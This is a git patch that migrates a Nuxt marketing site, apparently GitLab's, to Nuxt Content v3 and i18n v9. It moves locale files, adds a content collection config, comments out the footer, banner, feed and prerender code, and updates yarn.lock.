From cd35bbc916c73670f0630acce4f15357ce120131 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Fri, 21 Feb 2025 17:13:30 -0500
Subject: [PATCH 01/56] initial config

---
 .gitlab-ci.yml                          |    1 +
 components/common/NextSteps.vue         |   33 -
 components/navigation/footer/Footer.vue |   18 +-
 components/templates/Common.vue         |    1 -
 composables/useGitlabContent.ts         |   11 +-
 content.config.ts                       |   61 +
 i18n.config.ts                          |    5 -
 {locales => i18n/locales}/de-DE.json    |    0
 {locales => i18n/locales}/en-US.json    |    0
 {locales => i18n/locales}/es.json       |    0
 {locales => i18n/locales}/fr-FR.json    |    0
 {locales => i18n/locales}/it-IT.json    |    0
 {locales => i18n/locales}/ja-JP.json    |    0
 {locales => i18n/locales}/pt-BR.json    |    0
 layouts/default.vue                     |   32 +-
 modules/page-meta.ts                    |    1 -
 nuxt.config.ts                          |   46 +-
 package.json                            |   11 +-
 pages/[...slug].vue                     |    3 +-
 server/plugins/feed.ts                  |   56 +-
 types/base.ts                           |    1 +
 types/gtag.d.ts                         |    8 -
 yarn.lock                               | 2670 ++++++++++++-----------
 23 files changed, 1589 insertions(+), 1369 deletions(-)
 create mode 100644 content.config.ts
 delete mode 100644 i18n.config.ts
 rename {locales => i18n/locales}/de-DE.json (100%)
 rename {locales => i18n/locales}/en-US.json (100%)
 rename {locales => i18n/locales}/es.json (100%)
 rename {locales => i18n/locales}/fr-FR.json (100%)
 rename {locales => i18n/locales}/it-IT.json (100%)
 rename {locales => i18n/locales}/ja-JP.json (100%)
 rename {locales => i18n/locales}/pt-BR.json (100%)
 delete mode 100644 types/gtag.d.ts

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 117259f5a..a6d7698cd 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -107,6 +107,7 @@ check-duplicate-slugs:
   rules:
     - if: *default_branch_condition
     - if: *mr_condition
+
 ###################################
 # Build Stage
 ###################################
diff --git a/components/common/NextSteps.vue b/components/common/NextSteps.vue
index 11b365080..011028cdf 100644
--- a/components/common/NextSteps.vue
+++ b/components/common/NextSteps.vue
@@ -54,39 +54,6 @@ const secondaryButtonHref = computed(() => updateFreeTrialGlmContent(content.val
 
 <template>
   <section class="next-steps">
-    <SlpContainer>
-      <div class="next-steps__container">
-        <div class="next-steps__header slp-mb-16">
-          <SlpTypography variant="heading2-bold" tag="h2">
-            {{ content.header }}
-          </SlpTypography>
-        </div>
-        <SlpTypography variant="heading5" tag="div" class="description slp-mb-24">
-          <div v-html="$md.render(content.blurb)" />
-        </SlpTypography>
-        <div class="buttons">
-          <SlpButton
-            variant="secondary"
-            :href="buttonHref"
-            :data-ga-name="content.button.config.dataGaName"
-            class="main-button"
-            :data-ga-location="content.button.config.dataGaLocation || 'next step'"
-          >
-            {{ content.button.text }}
-          </SlpButton>
-          <SlpButton
-            v-if="content.secondaryButton && !disableSecondaryButton"
-            variant="primary"
-            :href="secondaryButtonHref"
-            :data-ga-name="content.secondaryButton?.config.dataGaName"
-            class="secondary-button"
-            :data-ga-location="content.secondaryButton?.config.dataGaLocation || 'next step'"
-          >
-            <SlpIcon :icon="Chat" size="24" class="slp-mr-8" />{{ content.secondaryButton?.text }}
-          </SlpButton>
-        </div>
-      </div>
-    </SlpContainer>
   </section>
 </template>
 
diff --git a/components/navigation/footer/Footer.vue b/components/navigation/footer/Footer.vue
index b4f41b2ee..de7d6d55a 100644
--- a/components/navigation/footer/Footer.vue
+++ b/components/navigation/footer/Footer.vue
@@ -11,13 +11,13 @@ defineProps<{
 const maxLinksPerColumnMobile = ref(10);
 
 //localization data
-const localizationData = useI18n();
-const allLocalesData = localizationData.locales.value;
-const route = useRoute();
-const availableLanguages = useAvailableLanguages(route.path);
-const availableLocaleData = availableLanguages.map((lang: string) =>
-  allLocalesData.find((locale: Language) => locale.code === lang),
-);
+// const localizationData = useI18n();
+// const allLocalesData = localizationData.locales.value;
+// const route = useRoute();
+// const availableLanguages = useAvailableLanguages(route.path);
+// const availableLocaleData = availableLanguages.map((lang: string) =>
+//   allLocalesData.find((locale: Language) => locale.code === lang),
+// );
 </script>
 
 <template>
@@ -97,7 +97,7 @@ const availableLocaleData = availableLanguages.map((lang: string) =>
           </div>
         </SlpColumn>
       </SlpRow>
-      <div class="footer__cta">
+      <!-- <div class="footer__cta">
         <div
           class="footer__selectors"
           :class="{
@@ -110,7 +110,7 @@ const availableLocaleData = availableLanguages.map((lang: string) =>
           <NavigationFooterSocialMediaLinks v-bind="footerData.config" />
         </div>
         <NavigationFooterSource v-bind="footerData" />
-      </div>
+      </div> -->
     </SlpContainer>
   </footer>
 </template>
diff --git a/components/templates/Common.vue b/components/templates/Common.vue
index 7aca3dbf3..1d5356a15 100644
--- a/components/templates/Common.vue
+++ b/components/templates/Common.vue
@@ -14,7 +14,6 @@ if (!pageContent.content) {
     message: `Page is missing the "content" attribute: ${path}`,
   });
 }
-
 const components = await useDynamicComponents(pageContent.content);
 </script>
 
diff --git a/composables/useGitlabContent.ts b/composables/useGitlabContent.ts
index dd4593093..b1aadd048 100644
--- a/composables/useGitlabContent.ts
+++ b/composables/useGitlabContent.ts
@@ -7,18 +7,19 @@ import { useAsyncData, useRoute } from 'nuxt/app';
  */
 export const useGitlabContent = async () => {
   const { locale } = useI18n();
-  const { params, path } = useRoute();
+  const { params } = useRoute();
 
   const slug = `/${locale.value.toLowerCase()}/${params.slug ? params.slug.join('/') : ''}`;
 
-  const { data } = await useAsyncData('gitlabContent', () => queryContent(slug).findOne());
+  const { data } = await useAsyncData('gitlabContent', () => queryCollection('pages').path(slug).first());
+  const pageContent = data.value?.body;
 
-  if (!data.value) {
+  if (!pageContent) {
     throw createError({
       statusCode: 404,
-      message: `Page not found in the content library: ${path}`,
+      message: `Page not found in the content library: ${data.value.path}`,
     });
   }
 
-  return data.value;
+  return pageContent;
 };
diff --git a/content.config.ts b/content.config.ts
new file mode 100644
index 000000000..8fa9eb0d9
--- /dev/null
+++ b/content.config.ts
@@ -0,0 +1,61 @@
+import { defineContentConfig, defineCollection } from '@nuxt/content'
+import { z } from 'zod';
+
+export default defineContentConfig({
+  collections: {
+    // General Pages (non-blog content)
+    pages: defineCollection({
+      type: 'page',
+      source: {
+        include: '**/*.yml',
+        exclude: ['**/blog/**', '**/shared/**'],
+        prefix: '/',
+      },
+    }),
+
+    // Blog Posts
+    // blogPosts: defineCollection({
+    //   type: 'page',
+    //   source: {
+    //     include: '**/blog/*.yml',
+    //     exclude: ['**/blog/authors/**', '**/blog/categories/**', '**/blog/tags/**'],
+    //     prefix: '/blog',
+    //   },
+    // }),
+
+    // Blog Authors
+    // blogAuthors: defineCollection({
+    //   type: 'page',
+    //   source: {
+    //     include: '**/blog/authors/*.yml',
+    //     prefix: '/blog/authors',
+    //   },
+    // }),
+
+    // Blog Categories
+    // blogCategories: defineCollection({
+    //   type: 'page',
+    //   source: {
+    //     include: '**/blog/categories/*.yml',
+    //     prefix: '/blog/categories',
+    //   },
+    // }),
+
+    // Blog Tags
+    // blogTags: defineCollection({
+    //   type: 'page',
+    //   source: {
+    //     include: '**/blog/tags/*.yml',
+    //     prefix: '/blog/tags',
+    //   },
+    // }),
+    shared: defineCollection({
+      type: 'data',
+      source: 'shared/**/*.yml',
+      schema: z.object({
+        path: z.any().optional(),
+        body: z.any().optional(),
+      }).passthrough(),
+    }),
+  },
+});
diff --git a/i18n.config.ts b/i18n.config.ts
deleted file mode 100644
index 41a8be990..000000000
--- a/i18n.config.ts
+++ /dev/null
@@ -1,5 +0,0 @@
-export default defineI18nConfig(() => ({
-  legacy: false,
-  fallbackLocale: 'en-us',
-  silentFallbackWarn: false,
-}));
diff --git a/locales/de-DE.json b/i18n/locales/de-DE.json
similarity index 100%
rename from locales/de-DE.json
rename to i18n/locales/de-DE.json
diff --git a/locales/en-US.json b/i18n/locales/en-US.json
similarity index 100%
rename from locales/en-US.json
rename to i18n/locales/en-US.json
diff --git a/locales/es.json b/i18n/locales/es.json
similarity index 100%
rename from locales/es.json
rename to i18n/locales/es.json
diff --git a/locales/fr-FR.json b/i18n/locales/fr-FR.json
similarity index 100%
rename from locales/fr-FR.json
rename to i18n/locales/fr-FR.json
diff --git a/locales/it-IT.json b/i18n/locales/it-IT.json
similarity index 100%
rename from locales/it-IT.json
rename to i18n/locales/it-IT.json
diff --git a/locales/ja-JP.json b/i18n/locales/ja-JP.json
similarity index 100%
rename from locales/ja-JP.json
rename to i18n/locales/ja-JP.json
diff --git a/locales/pt-BR.json b/i18n/locales/pt-BR.json
similarity index 100%
rename from locales/pt-BR.json
rename to i18n/locales/pt-BR.json
diff --git a/layouts/default.vue b/layouts/default.vue
index 68bcf58e5..4728c852e 100644
--- a/layouts/default.vue
+++ b/layouts/default.vue
@@ -3,25 +3,33 @@ import { useI18n } from 'vue-i18n';
 
 const { locale } = useI18n();
 
-const { data: navigationData } = await useAsyncData('navigation', () =>
-  queryContent(`/shared/${locale.value}/main-navigation`).findOne(),
-);
+const test = `shared/${locale.value}/main-navigation`;
+const { data: navigationData } = await useAsyncData('allShared', () =>
+  queryCollection('shared')
+  .where('stem', '=', test)
+  .first());
+console.log(navigationData.value.body.data)
 
-const { data: bannerData } = await useAsyncData('banner', () =>
-  queryContent(`/shared/${locale.value}/banner`).findOne(),
-);
 
-const { data: footerData } = await useAsyncData('footer', () =>
-  queryContent(`/shared/${locale.value}/main-footer`).findOne(),
-);
+// const { data: navigationData } = await useAsyncData('navigation', () =>
+//   queryContent(`/shared/${locale.value}/main-navigation`).findOne(),
+// );
+
+// const { data: bannerData } = await useAsyncData('banner', () =>
+//   queryContent(`/shared/${locale.value}/banner`).findOne(),
+// );
+
+// const { data: footerData } = await useAsyncData('footer', () =>
+//   queryContent(`/shared/${locale.value}/main-footer`).findOne(),
+// );
 </script>
 
 <template>
   <div class="grid-wrapper">
-    <NavigationMainNavigation v-if="navigationData" :navigation-data="navigationData?.data" />
-    <NavigationBanner v-if="bannerData" v-bind="bannerData" class="banner" />
+    <NavigationMainNavigation v-if="navigationData" :navigation-data="navigationData?.value.body.data" />
+    <!-- <NavigationBanner v-if="bannerData" v-bind="bannerData" class="banner" /> -->
     <NuxtPage />
-    <NavigationFooter :footer-data="footerData?.data" />
+    <!-- <NavigationFooter :footer-data="footerData?.data" /> -->
   </div>
 </template>
 <style lang="scss" scoped>
diff --git a/modules/page-meta.ts b/modules/page-meta.ts
index f071e7d7a..1a379710d 100644
--- a/modules/page-meta.ts
+++ b/modules/page-meta.ts
@@ -68,7 +68,6 @@ export default defineNuxtModule({
     }
 
     const componentManifest = await createVirtualComponentsMapping();
-
     // Register the virtual file in Nuxt's build system
     addTemplate({
       filename: 'component-manifest.mjs', // File available in #build/component-manifest
diff --git a/nuxt.config.ts b/nuxt.config.ts
index 225bed2eb..bfab2f1b7 100644
--- a/nuxt.config.ts
+++ b/nuxt.config.ts
@@ -1,4 +1,4 @@
-import { blogRolloutFilter, buildGitlabRoutes } from './routing';
+// import { blogRolloutFilter, buildGitlabRoutes } from './routing';
 import { oneTrustScripts, oneTrustPreconnects } from './scripts/onetrust-scripts';
 import { getGtagConsentScript } from './scripts/gtm-consent-script';
 
@@ -118,18 +118,21 @@ export default defineNuxtConfig({
   },
   devtools: { enabled: true },
   modules: [
+    '@nuxtjs/seo',
     '@nuxt/content',
     '@nuxt/eslint',
     '@nuxt/fonts',
     '@nuxt/image',
     '@nuxt/scripts',
-    '@nuxtjs/seo',
     '@nuxtjs/i18n',
-    '@nuxtjs/robots',
-    '@nuxtjs/sitemap',
   ],
+  content: {
+    documentDriven: true,
+  },
   i18n: {
-    vueI18n: './i18n.config.ts', // https://i18n.nuxtjs.org/docs/getting-started/usage
+    legacy: false,
+    fallbackLocale: 'en-us',
+    silentFallbackWarn: false,  
     locales: [
       { code: 'en-us', language: 'en-US', label: 'English', langLabel: 'Language', file: 'en-US.json' },
       { code: 'de-de', language: 'de-DE', label: 'Deutsch', langLabel: 'Sprache', file: 'de-DE.json' },
@@ -141,7 +144,6 @@ export default defineNuxtConfig({
     ],
     defaultLocale: 'en-us',
     strategy: 'prefix_except_default',
-    langDir: './locales',
     detectBrowserLanguage: {
       useCookie: false,
       redirectOn: 'root',
@@ -170,38 +172,6 @@ export default defineNuxtConfig({
       concurrency: 500,
     },
   },
-  // https://nuxt.com/docs/getting-started/prerendering#prerenderroutes-nuxt-hook
-  hooks: {
-    'nitro:config'(nitroConfig) {
-      const routes = buildGitlabRoutes();
-
-      // Temporary logic while the blog is rolled out
-      const filteredRoutes = blogRolloutFilter(routes);
-
-      nitroConfig.runtimeConfig.public['contentRoutes'] = filteredRoutes; // To be used in client-side calling useRuntimeConfig()
-      process.env.NUXT_CONTENT_FILES = JSON.stringify(filteredRoutes); // To be used in the "prerender:routes" to avoid calling buildGitlabRoutes() twice
-    },
-    async 'prerender:routes'(ctx) {
-      ctx.routes.clear(); // Removes any route that has been automatically generated by Nuxt
-      const routeIdx = process.argv.indexOf('--route');
-      const specificRoute = routeIdx !== -1 ? process.argv[routeIdx + 1] : null;
-      //const routeArrayIdx = process.argv.indexOf('--route-array');
-      //const fileList = routeArrayIdx !== -1 ? process.argv[routeArrayIdx + 1].split('\n') : null;
-
-      // Build a single route
-      if (specificRoute) {
-        console.info(`🔄 Generating only the specific route: ${specificRoute}`);
-        ctx.routes.add(specificRoute.endsWith('/') ? specificRoute : `${specificRoute}/`);
-        return;
-      }
-      const routes = JSON.parse(process.env.NUXT_CONTENT_FILES || '[]');
-
-      console.info(`🔄 Generating all routes`);
-      for (const route of routes) {
-        ctx.routes.add(route.endsWith('/') ? route : `${route}/`);
-      }
-    },
-  },
   site: {
     url: 'https://about.gitlab.com',
     trailingSlash: true,
diff --git a/package.json b/package.json
index 1fe228671..a4967df67 100644
--- a/package.json
+++ b/package.json
@@ -22,16 +22,14 @@
   "dependencies": {
     "@gitlab/fonts": "^1.3.0",
     "@markslides/markdown-it-mermaid": "^0.3.4",
-    "@nuxt/content": "^2.13.2",
+    "@nuxt/content": "^3.2.0",
     "@nuxt/eslint": "^0.5.7",
     "@nuxt/fonts": "^0.10.2",
     "@nuxt/image": "^1.8.1",
     "@nuxt/postcss8": "^1.1.3",
     "@nuxt/scripts": "^0.9.5",
-    "@nuxtjs/i18n": "^8.5.5",
-    "@nuxtjs/robots": "5.2.2",
+    "@nuxtjs/i18n": "^9.2.1",
     "@nuxtjs/seo": "^2.1.1",
-    "@nuxtjs/sitemap": "^7.2.3",
     "@types/markdown-it": "^14.1.2",
     "aos": "^2.3.4",
     "eslint-plugin-prettier": "^5.2.1",
@@ -40,7 +38,7 @@
     "markdown-it-anchor": "^9.2.0",
     "markdown-it-attrs": "^4.2.0",
     "markdown-it-multimd-table": "^4.2.3",
-    "nuxt": "3.15.2",
+    "nuxt": "3.15.4",
     "semantic-release": "^24.2.0",
     "slippers-ui": "3.1.13",
     "vue": "^3.4.38",
@@ -61,7 +59,8 @@
   },
   "resolutions": {
     "chokidar": "^3",
-    "string-width": "4.2.3"
+    "string-width": "4.2.3",
+    "c12": "2.0.1"
   },
   "packageManager": "yarn@1.22.22"
 }
diff --git a/pages/[...slug].vue b/pages/[...slug].vue
index fab199926..474b0895e 100644
--- a/pages/[...slug].vue
+++ b/pages/[...slug].vue
@@ -5,7 +5,7 @@ import { pathToID } from '@/utils/pathToID';
 const { path } = useRoute();
 const page: BasePage = await useGitlabContent();
 // Generic SEO configuration
-useGitlabSeo(page.seo);
+// useGitlabSeo(page.seo);
 
 // Use a specific layout, use the "default" one if undefined
 setPageLayout(page.config?.layout);
@@ -28,7 +28,6 @@ if (!page.content) {
     message: `Page is missing the "content" attribute: ${path}`,
   });
 }
-
 const resolvedTemplate = await import(`@/components/templates/${page.config?.template || 'Common'}.vue`);
 </script>
 
diff --git a/server/plugins/feed.ts b/server/plugins/feed.ts
index c5372bcdf..22fc34c0f 100644
--- a/server/plugins/feed.ts
+++ b/server/plugins/feed.ts
@@ -62,33 +62,33 @@ export async function generateFeed(feed: Feed, locale: string) {
     },
   };
 
-  const mockEvent = createEvent({
-    method: 'GET',
-    url: '/',
-    headers: {},
-  });
+  // const mockEvent = createEvent({
+  //   method: 'GET',
+  //   url: '/',
+  //   headers: {},
+  // });
 
-  const posts = await serverQueryContent(mockEvent, `${locale}/blog`).sort({ 'content.date': -1 }).limit(20).find();
-  posts.forEach((post) => {
-    try {
-      const postPath = `https://about.gitlab.com/blog/${post.config.slug}`;
-      const articleDate = post.content.date;
-      const formattedDate = new Date(articleDate);
-      feed.addItem({
-        title: post.content.title,
-        link: postPath,
-        id: postPath,
-        published: formattedDate,
-        image: post.content.heroImage,
-        date: formattedDate,
-        author: post.content.authors.map((author: string) => ({
-          name: author,
-          link: `https://about.gitlab.com/blog/authors/${author.toLowerCase().replace(' ', '-')}`,
-        })),
-        content: markdownToHtml(post.content.body),
-      });
-    } catch (error) {
-      console.error(`error generating ${locale} rss feed`, error);
-    }
-  });
+  // const posts = await serverQueryContent(mockEvent, `${locale}/blog`).sort({ 'content.date': -1 }).limit(20).find();
+  // posts.forEach((post) => {
+  //   try {
+  //     const postPath = `https://about.gitlab.com/blog/${post.config.slug}`;
+  //     const articleDate = post.content.date;
+  //     const formattedDate = new Date(articleDate);
+  //     feed.addItem({
+  //       title: post.content.title,
+  //       link: postPath,
+  //       id: postPath,
+  //       published: formattedDate,
+  //       image: post.content.heroImage,
+  //       date: formattedDate,
+  //       author: post.content.authors.map((author: string) => ({
+  //         name: author,
+  //         link: `https://about.gitlab.com/blog/authors/${author.toLowerCase().replace(' ', '-')}`,
+  //       })),
+  //       content: markdownToHtml(post.content.body),
+  //     });
+  //   } catch (error) {
+  //     console.error(`error generating ${locale} rss feed`, error);
+  //   }
+  // });
 }
diff --git a/types/base.ts b/types/base.ts
index f15de4640..f2476c1e3 100644
--- a/types/base.ts
+++ b/types/base.ts
@@ -200,6 +200,7 @@ export interface MktoFormInstance {
 export interface Window {
   __vimeoRefresh?: () => void;
   dataLayer: Array<object>;
+  geofeed: (options: { country: string; state?: string }) => void;
   MktoForms2?: {
     loadForm: (
       domain: string,
diff --git a/types/gtag.d.ts b/types/gtag.d.ts
deleted file mode 100644
index f9de3a238..000000000
--- a/types/gtag.d.ts
+++ /dev/null
@@ -1,8 +0,0 @@
-declare global {
-  interface Window {
-    dataLayer: any[];
-    geofeed: (options: { country: string; state?: string }) => void;
-  }
-}
-
-export {};
diff --git a/yarn.lock b/yarn.lock
index b8f5cb05c..bf3bb61ef 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -24,14 +24,14 @@
   integrity sha512-+562v9k4aI80m1+VuMHehNJWLOFjBnXn3tdOitzD0il5b7smkSBal4+a3oKiQTbrwMmN/TBUMDvbdoWDehgOww==
 
 "@antfu/utils@^8.1.0":
-  version "8.1.0"
-  resolved "https://registry.yarnpkg.com/@antfu/utils/-/utils-8.1.0.tgz#eea8fd74f35942a31c98f2bbd5a79b20bc18a515"
-  integrity sha512-XPR7Jfwp0FFl/dFYPX8ZjpmU4/1mIXTjnZ1ba48BLMyKOV62/tiRjdsFcPs2hsYcSud4tzk7w3a3LjX8Fu3huA==
+  version "8.1.1"
+  resolved "https://registry.yarnpkg.com/@antfu/utils/-/utils-8.1.1.tgz#95b1947d292a9a2efffba2081796dcaa05ecedfb"
+  integrity sha512-Mex9nXf9vR6AhcXmMrlz/HVgYYZpVGJ6YlPgwl7UnaFpnshXs6EK/oa5Gpf3CzENMjkvEx2tQtntGnb7UtSTOQ==
 
 "@apidevtools/json-schema-ref-parser@^11.7.0":
-  version "11.9.0"
-  resolved "https://registry.yarnpkg.com/@apidevtools/json-schema-ref-parser/-/json-schema-ref-parser-11.9.0.tgz#863c1c15f0b87ec442f1c932b31823ea1d17ab51"
-  integrity sha512-8Q/r5mXLa8Rfyh6r4SgEEFJgISVN5cDNFlcfSWLgFn3odzQhTfHAqzI3hMGdcROViL+8NrDNVVFQtEUrYOksDg==
+  version "11.9.1"
+  resolved "https://registry.yarnpkg.com/@apidevtools/json-schema-ref-parser/-/json-schema-ref-parser-11.9.1.tgz#51d297224f6ee1dab40dfb2dfe298812b8e0ef9c"
+  integrity sha512-OvyhwtYaWSTfo8NfibmFlgl+pIMaBOmN0OwZ3CPaGscEK3B8FCVDuQ7zgxY8seU/1kfSvNWnyB0DtKJyNLxX7g==
   dependencies:
     "@jsdevtools/ono" "^7.1.3"
     "@types/json-schema" "^7.0.15"
@@ -52,34 +52,33 @@
   integrity sha512-oH5UPLMWR3L2wEFLnFJ1TZXqHufiTKAiLfqw5zkhS4dKXLJ10yVztfil/twG8EDTA4F/tvVNw9nOl4ZMslB8rQ==
 
 "@babel/core@^7.23.0", "@babel/core@^7.26.0":
-  version "7.26.8"
-  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.26.8.tgz#7742f11c75acea6b08a8e24c5c0c8c89e89bf53e"
-  integrity sha512-l+lkXCHS6tQEc5oUpK28xBOZ6+HwaH7YwoYQbLFiYb4nS2/l1tKnZEtEWkD0GuiYdvArf9qBS0XlQGXzPMsNqQ==
+  version "7.26.9"
+  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.26.9.tgz#71838542a4b1e49dfed353d7acbc6eb89f4a76f2"
+  integrity sha512-lWBYIrF7qK5+GjY5Uy+/hEgp8OJWOD/rpy74GplYRhEauvbHDeFB8t5hPOZxCZ0Oxf4Cc36tK51/l3ymJysrKw==
   dependencies:
     "@ampproject/remapping" "^2.2.0"
     "@babel/code-frame" "^7.26.2"
-    "@babel/generator" "^7.26.8"
+    "@babel/generator" "^7.26.9"
     "@babel/helper-compilation-targets" "^7.26.5"
     "@babel/helper-module-transforms" "^7.26.0"
-    "@babel/helpers" "^7.26.7"
-    "@babel/parser" "^7.26.8"
-    "@babel/template" "^7.26.8"
-    "@babel/traverse" "^7.26.8"
-    "@babel/types" "^7.26.8"
-    "@types/gensync" "^1.0.0"
+    "@babel/helpers" "^7.26.9"
+    "@babel/parser" "^7.26.9"
+    "@babel/template" "^7.26.9"
+    "@babel/traverse" "^7.26.9"
+    "@babel/types" "^7.26.9"
     convert-source-map "^2.0.0"
     debug "^4.1.0"
     gensync "^1.0.0-beta.2"
     json5 "^2.2.3"
     semver "^6.3.1"
 
-"@babel/generator@^7.26.5", "@babel/generator@^7.26.8":
-  version "7.26.8"
-  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.26.8.tgz#f9c5e770309e12e3099ad8271e52f6caa15442ab"
-  integrity sha512-ef383X5++iZHWAXX0SXQR6ZyQhw/0KtTkrTz61WXRhFM6dhpHulO/RJz79L8S6ugZHJkOOkUrUdxgdF2YiPFnA==
+"@babel/generator@^7.26.5", "@babel/generator@^7.26.9":
+  version "7.26.9"
+  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.26.9.tgz#75a9482ad3d0cc7188a537aa4910bc59db67cbca"
+  integrity sha512-kEWdzjOAUMW4hAyrzJ0ZaTOu9OmpyDIQicIh0zg0EEcEkYXZb2TjtBhnHi2ViX7PKwZqF4xwqfAm299/QMP3lg==
   dependencies:
-    "@babel/parser" "^7.26.8"
-    "@babel/types" "^7.26.8"
+    "@babel/parser" "^7.26.9"
+    "@babel/types" "^7.26.9"
     "@jridgewell/gen-mapping" "^0.3.5"
     "@jridgewell/trace-mapping" "^0.3.25"
     jsesc "^3.0.2"
@@ -103,16 +102,16 @@
     semver "^6.3.1"
 
 "@babel/helper-create-class-features-plugin@^7.25.9":
-  version "7.25.9"
-  resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.25.9.tgz#7644147706bb90ff613297d49ed5266bde729f83"
-  integrity sha512-UTZQMvt0d/rSz6KI+qdu7GQze5TIajwTS++GUozlw8VBJDEOAqSXwm1WvmYEZwqdqSGQshRocPDqrt4HBZB3fQ==
+  version "7.26.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.26.9.tgz#d6f83e3039547fbb39967e78043cd3c8b7820c71"
+  integrity sha512-ubbUqCofvxPRurw5L8WTsCLSkQiVpov4Qx0WMA+jUN+nXBK8ADPlJO1grkFw5CWKC5+sZSOfuGMdX1aI1iT9Sg==
   dependencies:
     "@babel/helper-annotate-as-pure" "^7.25.9"
     "@babel/helper-member-expression-to-functions" "^7.25.9"
     "@babel/helper-optimise-call-expression" "^7.25.9"
-    "@babel/helper-replace-supers" "^7.25.9"
+    "@babel/helper-replace-supers" "^7.26.5"
     "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
-    "@babel/traverse" "^7.25.9"
+    "@babel/traverse" "^7.26.9"
     semver "^6.3.1"
 
 "@babel/helper-member-expression-to-functions@^7.25.9":
@@ -152,7 +151,7 @@
   resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.26.5.tgz#18580d00c9934117ad719392c4f6585c9333cc35"
   integrity sha512-RS+jZcRdZdRFzMyr+wcsaqOmld1/EqTghfaBGQQd/WnRdzdlvSZ//kF7U8VQTxf1ynZ4cjUcYgjVGx13ewNPMg==
 
-"@babel/helper-replace-supers@^7.25.9":
+"@babel/helper-replace-supers@^7.26.5":
   version "7.26.5"
   resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.26.5.tgz#6cb04e82ae291dae8e72335dfe438b0725f14c8d"
   integrity sha512-bJ6iIVdYX1YooY2X7w1q6VITt+LnUILtNk7zT78ykuwStx8BauCzxvFqFaHjOpW1bVnSUM1PN1f0p5P21wHxvg==
@@ -184,20 +183,20 @@
   resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.25.9.tgz#86e45bd8a49ab7e03f276577f96179653d41da72"
   integrity sha512-e/zv1co8pp55dNdEcCynfj9X7nyUKUXoUEwfXqaZt0omVOmDe9oOTdKStH4GmAw6zxMFs50ZayuMfHDKlO7Tfw==
 
-"@babel/helpers@^7.26.7":
-  version "7.26.7"
-  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.26.7.tgz#fd1d2a7c431b6e39290277aacfd8367857c576a4"
-  integrity sha512-8NHiL98vsi0mbPQmYAGWwfcFaOy4j2HY49fXJCfuDcdE7fMIsH9a7GdaeXpIBsbT7307WU8KCMp5pUVDNL4f9A==
+"@babel/helpers@^7.26.9":
+  version "7.26.9"
+  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.26.9.tgz#28f3fb45252fc88ef2dc547c8a911c255fc9fef6"
+  integrity sha512-Mz/4+y8udxBKdmzt/UjPACs4G3j5SshJJEFFKxlCGPydG4JAHXxjWjAwjd09tf6oINvl1VfMJo+nB7H2YKQ0dA==
   dependencies:
-    "@babel/template" "^7.25.9"
-    "@babel/types" "^7.26.7"
+    "@babel/template" "^7.26.9"
+    "@babel/types" "^7.26.9"
 
-"@babel/parser@^7.25.3", "@babel/parser@^7.25.4", "@babel/parser@^7.25.6", "@babel/parser@^7.26.5", "@babel/parser@^7.26.8":
-  version "7.26.8"
-  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.26.8.tgz#deca2b4d99e5e1b1553843b99823f118da6107c2"
-  integrity sha512-TZIQ25pkSoaKEYYaHbbxkfL36GNsQ6iFiBbeuzAkLnXayKR1yP1zFe+NxuZWWsUyvt8icPU9CCq0sgWGXR1GEw==
+"@babel/parser@^7.24.6", "@babel/parser@^7.25.3", "@babel/parser@^7.25.4", "@babel/parser@^7.25.6", "@babel/parser@^7.26.5", "@babel/parser@^7.26.9":
+  version "7.26.9"
+  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.26.9.tgz#d9e78bee6dc80f9efd8f2349dcfbbcdace280fd5"
+  integrity sha512-81NWa1njQblgZbQHxWHpxxCzNsa3ZwvFqpUg7P+NNUU6f3UU2jBEg4OlF/J6rl8+PQGh1q6/zWScd001YwcA5A==
   dependencies:
-    "@babel/types" "^7.26.8"
+    "@babel/types" "^7.26.9"
 
 "@babel/plugin-proposal-decorators@^7.23.0":
   version "7.25.9"
@@ -255,36 +254,36 @@
     "@babel/plugin-syntax-typescript" "^7.25.9"
 
 "@babel/standalone@^7.26.4":
-  version "7.26.8"
-  resolved "https://registry.yarnpkg.com/@babel/standalone/-/standalone-7.26.8.tgz#96faba3396976bd9fac22bdea9345ca48782b9b2"
-  integrity sha512-WS5Cw/8gWP9qBJ+qPUVr5Le4bCeXTMoVHF9TofgEqAUpEgvVzNXCPf97SNLuDpSRNHNWcH2lFixGUGjaM6VVCg==
+  version "7.26.9"
+  resolved "https://registry.yarnpkg.com/@babel/standalone/-/standalone-7.26.9.tgz#7099c70bd5bd54d786e5d97245f4179515aad3e1"
+  integrity sha512-UTeQKy0kzJwWRe55kT1uK4G9H6D0lS6G4207hCU/bDaOhA5t2aC0qHN6GmID0Axv3OFLNXm27NdqcWp+BXcGtA==
 
-"@babel/template@^7.25.0", "@babel/template@^7.25.9", "@babel/template@^7.26.8":
-  version "7.26.8"
-  resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.26.8.tgz#db3898f47a17bab2f4c78ec1d0de38527c2ffe19"
-  integrity sha512-iNKaX3ZebKIsCvJ+0jd6embf+Aulaa3vNBqZ41kM7iTWjx5qzWKXGHiJUW3+nTpQ18SG11hdF8OAzKrpXkb96Q==
+"@babel/template@^7.25.0", "@babel/template@^7.26.9":
+  version "7.26.9"
+  resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.26.9.tgz#4577ad3ddf43d194528cff4e1fa6b232fa609bb2"
